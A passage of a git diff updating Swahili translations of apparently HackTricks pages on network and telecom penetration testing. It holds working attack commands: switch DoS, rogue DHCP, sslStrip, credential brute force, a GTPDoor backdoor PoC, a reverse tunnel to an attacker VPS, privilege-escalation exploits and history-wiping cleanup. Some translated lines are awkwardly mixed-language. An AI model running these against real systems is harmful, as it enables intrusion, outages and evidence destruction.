topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` -#### **STP TCP Attack** +#### **SHAMBULIO LA STP TCP** -Wakati TCP inatumwa, jedwali la CAM la swichi litafutwa ndani ya sekunde 15. Kisha, ikiwa unatumia pakiti hizi kwa kuendelea, jedwali la CAM litaanzishwa upya mara kwa mara (au kila sekunde 15) na wakati linapoanzishwa upya, swichi inafanya kazi kama hub. +Wakati TCP inatumwa, jedwali la CAM la swichi litafutwa ndani ya sekunde 15. Kisha, ikiwa unatumia pakiti za aina hii bila kukoma, jedwali la CAM litaanzishwa upya bila kukoma (au kila sekunde 15) na wakati linapoanzishwa upya, swichi inafanya kazi kama hub. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen @@ -419,11 +419,11 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack CISCO Discovery Protocol (CDP) ni muhimu kwa mawasiliano kati ya vifaa vya CISCO, ikiruhusu **kuvitambua na kushiriki maelezo ya usanidi**. -#### Kukusanya Data kwa Njia ya Pasifiki +#### Kukusanya Data kwa Njia ya Passiv -CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na mfano wake na toleo la Cisco IOS linalotumia. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS. +CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na mfano wake na toleo la Cisco IOS linalotumika. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS. -#### Kusababisha Mafuriko ya Jedwali la CDP +#### Kusababisha Mvua ya Meza ya CDP Njia yenye nguvu zaidi inahusisha kuzindua shambulio la Denial of Service (DoS) kwa kujaa kumbukumbu ya swichi, akijifanya kuwa vifaa halali vya CISCO. Hapa chini kuna mfuatano wa amri za kuanzisha shambulio kama hilo kwa kutumia Yersinia, chombo cha mtandao kilichoundwa kwa ajili ya majaribio: ```bash @@ -431,14 +431,14 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana kama **“kukwama kwa mtandao”** kutokana na matumizi makubwa ya rasilimali. +Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana kama **“kufeli kwa mtandao”** kutokana na matumizi makubwa ya rasilimali. #### CDP Impersonation Attack ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +Unaweza pia kutumia [**scapy**](https://github.com/secdev/scapy/). Hakikisha umeisakinisha na pakiti ya `scapy/contrib`. ### Mashambulizi ya VoIP na Zana ya VoIP Hopper @@ -449,7 +449,7 @@ Zana [**voiphopper**](http://voiphopper.sourceforge.net) imeundwa kuiga simu ya **VoIP Hopper** inatoa njia tatu za Protokali ya Ugunduzi wa Cisco (CDP): 1. **Sniff Mode** (`-c 0`): Inachambua pakiti za mtandao ili kubaini ID ya VLAN. -2. **Spoof Mode** (`-c 1`): Inazalisha pakiti maalum zinazofanana na zile za kifaa halisi cha VoIP. +2. **Spoof Mode** (`-c 1`): Inazalisha pakiti za kawaida zinazofanana na zile za kifaa halisi cha VoIP. 3. **Spoof with Pre-made Packet Mode** (`-c 2`): Inatuma pakiti zinazofanana na zile za mfano maalum wa simu ya IP ya Cisco. Njia inayopendekezwa kwa kasi ni ya tatu. Inahitaji kufafanua: @@ -461,15 +461,15 @@ Katika mazingira ya kampuni, ili kuiga kifaa kilichopo cha VoIP, mtu anaweza: - Kuangalia lebo ya MAC kwenye simu. - Kupitia mipangilio ya onyesho la simu ili kuona taarifa za mfano. -- Kuunganisha kifaa cha VoIP kwenye laptop na kuangalia maombi ya CDP kwa kutumia Wireshark. +- Kuunganisha kifaa cha VoIP kwenye kompyuta ya mkononi na kuangalia maombi ya CDP kwa kutumia Wireshark. Mfano wa amri ya kutekeleza zana katika njia ya tatu ingekuwa: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` -### DHCP Mashambulizi +### DHCP Attacks -#### Uhesabu +#### Enumeration ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` **DoS** -**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Aina ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha kutumia anwani zote za IP zinazowezekana**.\ +**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Aina ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha ili kutumia anwani zote za IP zinazowezekana**.\ Shambulio hili litafanya kazi tu ikiwa unaweza kuona majibu ya seva ya DHCP na kukamilisha itifaki (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Kwa mfano, hii **haiwezekani katika mitandao ya Wifi**. Njia nyingine ya kufanya DoS ya DHCP ni kutuma **pakiti ya DHCP-RELEASE ikitumia kama msimbo kila anwani ya IP inayowezekana**. Kisha, seva itafikiria kwamba kila mtu amemaliza kutumia IP hiyo. @@ -503,7 +503,7 @@ Unaweza kutumia mashambulizi ya DoS yaliyotajwa kulazimisha wateja kupata leseni #### Weka thamani mbaya -Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni kidogo sana kwa sababu inaruhusu tu kukamata trafiki inayotoka kutoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi. +Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni kidogo sana kwa sababu inaruhusu tu kukamata trafiki inayotoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi. Hapa chini kuna chaguzi za amri za kuunda seva ya DHCP isiyo halali: @@ -539,9 +539,9 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` ### FHRP (GLBP & HSRP) Attacks -**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa upitishaji wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha mantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kugawa mzigo. +**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa routing wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha kimantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kugawa mzigo. -**Injinia wa Cisco Systems wameendeleza protokali mbili za FHRP, GLBP na HSRP.** +**Injinia wa Cisco Systems wameunda protokali mbili za FHRP, GLBP na HSRP.** {{#ref}} glbp-and-hsrp-attacks.md @@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md ### RIP -Toleo tatu la Protokali ya Taarifa za Upitishaji (RIP) linajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6. +Toleo tatu la Protokali ya Habari za Routing (RIP) linajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6. - **RIP na RIPv2:** Mawasiliano yanafanywa kupitia datagrams za UDP kwenye bandari 520. - **RIPng:** Inatumia bandari ya UDP 521 kwa kutangaza datagrams kupitia multicast ya IPv6. @@ -558,21 +558,21 @@ Kumbuka kwamba RIPv2 inasaidia uthibitisho wa MD5 wakati RIPng haina uthibitisho ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya upitishaji wa dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia kati upitishaji wa EIGRP na kusababisha **kuharibu meza za upitishaji**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina mgawanyiko katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya routing ya dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia katika routing ya EIGRP na kusababisha **kuharibu meza za routing**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina segmentation katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP. -Kushambulia mfumo wa EIGRP kunahitaji **kuanzisha jirani na route halali ya EIGRP**, ambayo inafungua uwezekano mwingi, kutoka kwa upelelezi wa msingi hadi sindano mbalimbali. +Kushambulia mfumo wa EIGRP kunahitaji **kuanzisha jirani na router halali ya EIGRP**, ambayo inafungua uwezekano mwingi, kutoka kwa upelelezi wa msingi hadi sindano mbalimbali. -[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuikamilisha kwenye mfumo wa mshambuliaji wako na unaweza kuonekana kama router halali katika eneo la upitishaji. +[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuisambaza kwenye mfumo wa mshambuliaji wako na unaweza kujiweka kama router halali katika eneo la routing. {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) ina uwezo wa kukamata matangazo ya EIGRP (Enhanced Interior Gateway Routing Protocol). Pia inaruhusu sindano ya pakiti, ambayo inaweza kutumika kubadilisha usanidi wa upitishaji. +[**Coly**](https://code.google.com/p/coly/) ina uwezo wa kukamata matangazo ya EIGRP (Enhanced Interior Gateway Routing Protocol). Pia inaruhusu sindano ya pakiti, ambayo inaweza kutumika kubadilisha usanidi wa routing. ### OSPF -Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara nyingi unatumika kuhakikisha mawasiliano salama kati ya route**. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara funguo hii inapopatikana, inaweza kutumika kuingiza taarifa mpya za upitishaji. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tabo za _Injection_ na _Connection_ zinatumika, mtawalia. +Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 unatumika mara nyingi ili kuhakikisha mawasiliano salama kati ya route**rs. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara baada ya funguo hii kupatikana, inaweza kutumika kuingiza habari mpya za routing. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tabo za _Injection_ na _Connection_ zinatumika, mtawalia. - **Kukamata na Kuvunja Hash za MD5:** Zana kama Loki na John the Ripper zinatumika kwa kusudi hili. - **Kusanidi Vigezo vya Njia:** Hii inafanywa kupitia tabo ya _Injection_. @@ -580,7 +580,7 @@ Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara ny ### Other Generic Tools & Sources -- [**Above**](https://github.com/c4s73r/Above): Zana ya kuchanganua trafiki ya mtandao na kupata udhaifu +- [**Above**](https://github.com/c4s73r/Above): Zana ya kuchanganua trafiki ya mtandao na kutafuta udhaifu - Unaweza kupata **maelezo zaidi kuhusu mashambulizi ya mtandao** [**hapa**](https://github.com/Sab0tag3d/MITM-cheatsheet). ## **Spoofing** @@ -596,7 +596,7 @@ Angalia [sehemu ya awali](#arp-spoofing). ### ICMPRedirect -ICMP Redirect inajumuisha kutuma pakiti ya ICMP aina 1 msimbo 5 ambayo inaonyesha kwamba mshambuliaji ndiye njia bora ya kufikia IP. Kisha, wakati mwathirika anataka kuwasiliana na IP, atatuma pakiti kupitia kwa mshambuliaji. +ICMP Redirect inajumuisha kutuma pakiti ya ICMP aina 1 msimbo 5 ambayo inaonyesha kwamba mshambuliaji ndiye njia bora ya kufikia IP. Kisha, wakati mwathirika anataka kuwasiliana na IP, atatuma pakiti kupitia mshambuliaji. ```bash Ettercap icmp_redirect @@ -635,20 +635,20 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ``` ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na **Linux zero-configuration** hutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya. +Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na utekelezaji wa **Linux zero-configuration** hutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya. -Unaweza kujifanya kuwa huduma zinazotafutwa na wenyeji kwa kutumia Responder kutuma majibu ya uongo.\ -Soma hapa maelezo zaidi kuhusu [jinsi ya Kujifanya kuwa huduma na Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Unaweza kujifanya kuwa huduma zinazotafutwa na wenyeji kwa kutumia Responder kutuma majibu ya uwongo.\ +Soma hapa maelezo zaidi kuhusu [jinsi ya Kujifanya huduma na Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Vivinjari kwa kawaida hutumia **Web Proxy Auto-Discovery (WPAD) protocol ili kupata mipangilio ya proxy kiotomatiki**. Hii inahusisha kupata maelezo ya usanidi kutoka kwa seva, hasa kupitia URL kama "http://wpad.example.org/wpad.dat". Kugunduliwa kwa seva hii na wateja kunaweza kutokea kupitia mitindo mbalimbali: +Vivinjari kwa kawaida hutumia **Web Proxy Auto-Discovery (WPAD) protocol ili kupata mipangilio ya proxy kiotomatiki**. Hii inahusisha kupata maelezo ya usanidi kutoka kwa seva, hasa kupitia URL kama "http://wpad.example.org/wpad.dat". Ugunduzi wa seva hii na wateja unaweza kutokea kupitia mitindo mbalimbali: -- Kupitia **DHCP**, ambapo kugundua kunarahisishwa kwa kutumia nambari maalum ya kuingia 252. -- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililo na alama _wpad_ ndani ya eneo la ndani. +- Kupitia **DHCP**, ambapo ugunduzi unarahisishwa kwa kutumia nambari maalum ya kuingia 252. +- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililoandikwa _wpad_ ndani ya eneo la ndani. - Kupitia **Microsoft LLMNR na NBT-NS**, ambazo ni mitindo ya akiba inayotumika katika hali ambapo utafutaji wa DNS haufanikiwi. -Chombo cha Responder kinatumia faida ya protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nacho. Ili kuingia kwa undani zaidi kuhusu jinsi huduma zinaweza kujifananisha kwa kutumia Responder [angalia hii](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Chombo cha Responder kinatumia faida ya protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nayo. Ili kuingia kwa undani zaidi jinsi huduma zinaweza kujifananisha kwa kutumia Responder [angalia hii](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) @@ -684,7 +684,7 @@ mitm6 ### sslStrip -Kimsingi, kile ambacho shambulio hili linafanya ni, ikiwa **mtumiaji** anajaribu **kufikia** ukurasa wa **HTTP** ambao unarejelea toleo la **HTTPS**. **sslStrip** itakuwa na **kiunganishi cha HTTP na** **mteja** na **kiunganishi cha HTTPS na** **server** ili iweze **kunusa** kiunganishi hicho kwa **maandishi wazi**. +Kimsingi kile shambulizi hili linafanya ni, endapo **mtumiaji** atajaribu **kufikia** ukurasa wa **HTTP** ambao un **elekeza** kwenye toleo la **HTTPS**. **sslStrip** it **maintain** muunganisho wa **HTTP** na **mteja** na muunganisho wa **HTTPS** na **server** ili iweze **sniff** muunganisho katika **plain text**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -697,18 +697,18 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla ### sslStrip+ na dns2proxy kwa ajili ya kupita HSTS -**tofauti** kati ya **sslStrip+ na dns2proxy** dhidi ya **sslStrip** ni kwamba wat **elekeza** kwa mfano _**www.facebook.com**_ **kwenda** _**wwww.facebook.com**_ (zingatia **ziada** "**w**") na wataweka **anwani ya kikoa hiki kama IP ya mshambuliaji**. Kwa njia hii, **mteja** at **unganishwa** na _**wwww.facebook.com**_ **(mshambuliaji)** lakini nyuma ya pazia **sslstrip+** it **hifadhi** **unganisho halisi** kupitia https na **www.facebook.com**. +**tofauti** kati ya **sslStrip+ na dns2proxy** dhidi ya **sslStrip** ni kwamba wat **redirect** kwa mfano _**www.facebook.com**_ **kwenda** _**wwww.facebook.com**_ (angalia **ziada** "**w**") na wataweka **anwani ya kikoa hiki kama IP ya mshambuliaji**. Kwa njia hii, **mteja** at **connect** na _**wwww.facebook.com**_ **(mshambuliaji)** lakini nyuma ya pazia **sslstrip+** it **maintain** **muunganisho halisi** kupitia https na **www.facebook.com**. -**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **haita**hifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitawekwa kwenye udanganyifu kufanya **uthibitishaji wa facebook katika HTTP**.\ -Zingatia kwamba ili kufanya shambulio hili, mwathirika lazima ajaribu kufikia kwanza [http://www.faceook.com](http://www.faceook.com) na sio https. Hii inaweza kufanywa kwa kubadilisha viungo ndani ya ukurasa wa http. +**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **hata** itahifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitadanganywa kufanya **uthibitishaji wa facebook katika HTTP**.\ +Kumbuka kwamba ili kufanya shambulio hili, mwathirika lazima ajaribu kufikia kwanza [http://www.faceook.com](http://www.faceook.com) na sio https. Hii inaweza kufanywa kwa kubadilisha viungo ndani ya ukurasa wa http. More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata ikiwa ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, zingatia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.** +**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata kama ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, angalia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory -## TCP sikiliza katika bandari +## TCP listen katika bandari ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - @@ -770,7 +770,7 @@ Kumbuka kwamba wakati pakiti ya UDP inatumwa kwa kifaa ambacho hakina bandari il ### **ARP discover** -Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapaswa kutuma ombi kwa kila anwani ya IP inayowezekana na zile tu zinazotumika zitajibu. +Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapaswa kutuma ombi kwa kila anwani ya IP inayowezekana na ni zile tu zinazotumika zitajibu. ### **mDNS (multicast DNS)** diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index fab882a73..a88f7aa6f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -8,7 +8,7 @@ ## 1. Recon & Initial Access ### 1.1 Default OSS / NE Accounts -Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha maalum ya maneno huongeza kwa kiasi kikubwa mafanikio ya brute-force: +Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha ya maneno iliyotengwa huongeza kwa kiasi kikubwa mafanikio ya brute-force: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` @@ -21,7 +21,7 @@ masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00: ``` ## 2. Kuorodhesha Wajibu – `cordscan` -Zana ifuatayo ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja. +Zana hii ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080" ``` ## 3. Utekelezaji wa Kanuni kupitia GTP – `GTPDoor` -`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanakunjwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao cha nje kinachoundwa. +`GTPDoor` ni huduma ndogo ya ELF ambayo **inafungua UDP 2123 na kuchambua kila pakiti ya GTP-C inayokuja**. Wakati mzigo unapoanza na lebo iliyoshirikiwa awali, yaliyobaki yanachambuliwa (AES-128-CBC) na kutekelezwa kupitia `/bin/sh -c`. Stdout/stderr zinahamishwa ndani ya **Echo Response** ujumbe ili kwamba hakuna kikao chochote cha nje kinachoundwa. -Minimal PoC packet (Python): +Pakiti ya PoC ya chini (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -66,7 +66,7 @@ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Kwa matumizi sahihi ya firewall hair-pinning, tunnel hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**. +Kwa matumizi sahihi ya firewall hair-pinning, handaki hii inapita VLANs za ishara pekee na inakufikisha moja kwa moja kwenye **data plane**. ### 4.2 SSH Reverse Tunnel juu ya Port 53 DNS karibu kila wakati iko wazi katika miundombinu ya kuhamahama. Funua huduma ya ndani ya SSH kwa VPS yako inayosikiliza kwenye :53 na urudi baadaye kutoka nyumbani: @@ -111,27 +111,27 @@ python3 PwnKit.py # Sudo Baron Samedit – CVE-2021-3156 python3 exploit_userspec.py ``` -Usafishaji wa vidokezo: +Usafi wa mazingira: ```bash userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Sanduku la Zana +## 8. Tool Box -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana maalum zilizoelezwa katika sehemu za awali. +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – zana za kawaida zilizoelezwa katika sehemu za awali. * `FScan` : skanning ya TCP ya intranet (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD -* `Microsocks` + `ProxyChains` : pivoting nyepesi ya SOCKS5 +* `Microsocks` + `ProxyChains` : pivoting nyepesi wa SOCKS5 * `FRP` (≥0.37) : NAT traversal / bridging ya mali --- -## Mawazo ya Kugundua +## Detection Ideas 1. **Kila kifaa kingine isipokuwa SGSN/GGSN kinachounda Maombi ya Kuunda Muktadha wa PDP**. -2. **Ports zisizo za kawaida (53, 80, 443) zinazo pokea mikono ya SSH** kutoka kwa IP za ndani. -3. **Maombi ya Echo ya Mara kwa Mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor. +2. **Bandari zisizo za kawaida (53, 80, 443) zinapokea mikono ya SSH** kutoka kwa IP za ndani. +3. **Maombi ya Echo mara kwa mara bila Majibu ya Echo yanayolingana** – yanaweza kuashiria beacon za GTPDoor. 4. **Kiwango cha juu cha trafiki ya ICMP echo-reply yenye viwanja vikubwa, visivyo na sifuri vya kitambulisho/mfuatano**. -## Marejeo +## References - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md index 76e22b85e..f9231cfd5 100644 --- a/src/hardware-physical-access/firmware-analysis/README.md +++ b/src/hardware-physical-access/firmware-analysis/README.md @@ -19,14 